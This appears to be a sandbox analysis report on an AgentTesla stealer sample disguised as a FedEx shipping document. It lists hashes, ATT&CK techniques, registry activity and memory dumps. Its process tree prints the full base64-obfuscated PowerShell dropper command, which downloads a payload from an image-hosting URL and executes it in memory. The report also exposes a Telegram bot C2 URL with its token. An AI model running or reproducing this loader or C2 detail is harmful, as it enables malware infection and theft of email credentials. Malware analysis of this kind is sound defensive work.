agenttesla | 7fb38a221927c703a4fa3ad25a37e35b7d86e40b5b38dc941cde01f645faa12a

General

Target

fedEx shipping document.xlsx.vbe
Size

150KB
MD5

48567dd418e419f7719a3269ad3a22c1
SHA1

9d69ee9e60a316c98e7a87d90cdbfef4151175c4
SHA256

a4f42049afb44ee3a5a075fd716d4a271cc1ed18ec41dc12a076e6f5b79372f0
SHA512

a2cb14c886e74fc207035a6cd6598e5d841410d2a2f9603cddab4321417cb3811379be11ab085509afa255a6e6fd9b536ca9d11d17279f16c3c722e48fbd0eee
SSDEEP

3072:PZgFwtD6gOsxOinQA8T7IRaZgFwtD6gOsxOinQA8T7ITZgFwtD6gOsxOinQA8T7N:BgwkiOiQLHgwkiOiQLYgwkiOiQLN

Score

10^/10

agenttesla collection discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6050556352:AAE_-mublQ2CllMbT9xkQVBjSBbdvdYR1kM/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1244	powershell.exe
20	1244	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\oMCAov = "C:\\Users\\Admin\\AppData\\Roaming\\oMCAov\\oMCAov.exe"	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1244	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1244 set thread context of 1380	1244	powershell.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4968	WScript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1244	powershell.exe
1244	powershell.exe
1244	powershell.exe
1244	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	1380	MSBuild.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 1244	4968	WScript.exe	83
PID 4968 wrote to memory of 1244	4968	WScript.exe	83
PID 1244 wrote to memory of 4704	1244	powershell.exe	93
PID 1244 wrote to memory of 4704	1244	powershell.exe	93
PID 1244 wrote to memory of 4704	1244	powershell.exe	93
PID 1244 wrote to memory of 1380	1244	powershell.exe	94
PID 1244 wrote to memory of 1380	1244	powershell.exe	94
PID 1244 wrote to memory of 1380	1244	powershell.exe	94
PID 1244 wrote to memory of 1380	1244	powershell.exe	94
PID 1244 wrote to memory of 1380	1244	powershell.exe	94
PID 1244 wrote to memory of 1380	1244	powershell.exe	94
PID 1244 wrote to memory of 1380	1244	powershell.exe	94
PID 1244 wrote to memory of 1380	1244	powershell.exe	94

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fedEx shipping document.xlsx.vbe"
1⤵
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $librates = 'JG1pc2N1dHRpbmcgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskdGltZSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHNwb3J1bGF0aW5nID0gJHRpbWUuRG93bmxvYWREYXRhKCRtaXNjdXR0aW5nKTskcmVkcml2ZSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRzcG9ydWxhdGluZyk7JGdhdmVsa2luZCA9ICc8PEJBU0U2NF9TVEFSVD4+JzskaW52ZW50b3JpYWxseSA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVuaWZ5aW5nID0gJHJlZHJpdmUuSW5kZXhPZigkZ2F2ZWxraW5kKTskY2hhaXJtYW5zID0gJHJlZHJpdmUuSW5kZXhPZigkaW52ZW50b3JpYWxseSk7JHVuaWZ5aW5nIC1nZSAwIC1hbmQgJGNoYWlybWFucyAtZ3QgJHVuaWZ5aW5nOyR1bmlmeWluZyArPSAkZ2F2ZWxraW5kLkxlbmd0aDskZGVtYWdvZ2ljYWxseSA9ICRjaGFpcm1hbnMgLSAkdW5pZnlpbmc7JGZ1cnJpbmVzcyA9ICRyZWRyaXZlLlN1YnN0cmluZygkdW5pZnlpbmcsICRkZW1hZ29naWNhbGx5KTskbWFyc2FsYXMgPSAtam9pbiAoJGZ1cnJpbmVzcy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZnVycmluZXNzLkxlbmd0aCldOyRwYXJjaGlzaSA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG1hcnNhbGFzKTskZ2lydGhlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHBhcmNoaXNpKTskYmVyZWZ0ID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGJlcmVmdC5JbnZva2UoJG51bGwsIEAoJ2IyZjA4OTNkZDlhNC0wNmZiLTMzNTQtZWY0YS0wMmM1Nzk3YT1uZWtvdCZhaWRlbT10bGE/dHh0LlBVVC9vL21vYy50b3BzcHBhLjY3N2QyLW9sb3BodGFrL2IvMHYvbW9jLnNpcGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGgnLCAnJGFzaGFtZWRseScsICckYXNoYW1lZGx5JywgJyRhc2hhbWVkbHknLCAnTVNCdWlsZCcsICckYXNoYW1lZGx5JywgJyRhc2hhbWVkbHknLCckYXNoYW1lZGx5JywnJGFzaGFtZWRseScsJyRhc2hhbWVkbHknLCckYXNoYW1lZGx5JywnJGFzaGFtZWRseScsJzEnLCckYXNoYW1lZGx5JykpOw==';$onerousness = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($librates));Invoke-Expression $onerousness
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4704
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i30jlpck.5i4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1244-15-0x00007FF897550000-0x00007FF898011000-memory.dmp

Filesize
10.8MB

Download
memory/1244-13-0x00007FF897550000-0x00007FF898011000-memory.dmp

Filesize
10.8MB

Download
memory/1244-17-0x000001EAF8CD0000-0x000001EAF8E28000-memory.dmp

Filesize
1.3MB

Download
memory/1244-12-0x00007FF897550000-0x00007FF898011000-memory.dmp

Filesize
10.8MB

Download
memory/1244-0-0x00007FF897553000-0x00007FF897555000-memory.dmp

Filesize
8KB

Download
memory/1244-14-0x00007FF897553000-0x00007FF897555000-memory.dmp

Filesize
8KB

Download
memory/1244-16-0x00007FF897550000-0x00007FF898011000-memory.dmp

Filesize
10.8MB

Download
memory/1244-21-0x00007FF897550000-0x00007FF898011000-memory.dmp

Filesize
10.8MB

Download
memory/1244-11-0x00007FF897550000-0x00007FF898011000-memory.dmp

Filesize
10.8MB

Download
memory/1244-1-0x000001EAE8720000-0x000001EAE8742000-memory.dmp

Filesize
136KB

Download
memory/1380-18-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/1380-22-0x0000000005640000-0x0000000005BE4000-memory.dmp

Filesize
5.6MB

Download
memory/1380-23-0x0000000005130000-0x0000000005196000-memory.dmp

Filesize
408KB

Download
memory/1380-24-0x0000000006220000-0x00000000062B2000-memory.dmp

Filesize
584KB

Download
memory/1380-26-0x0000000006210000-0x000000000621A000-memory.dmp

Filesize
40KB

Download
memory/1380-27-0x0000000006460000-0x00000000064B0000-memory.dmp

Filesize
320KB

Download
memory/1380-28-0x0000000006680000-0x0000000006842000-memory.dmp

Filesize
1.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads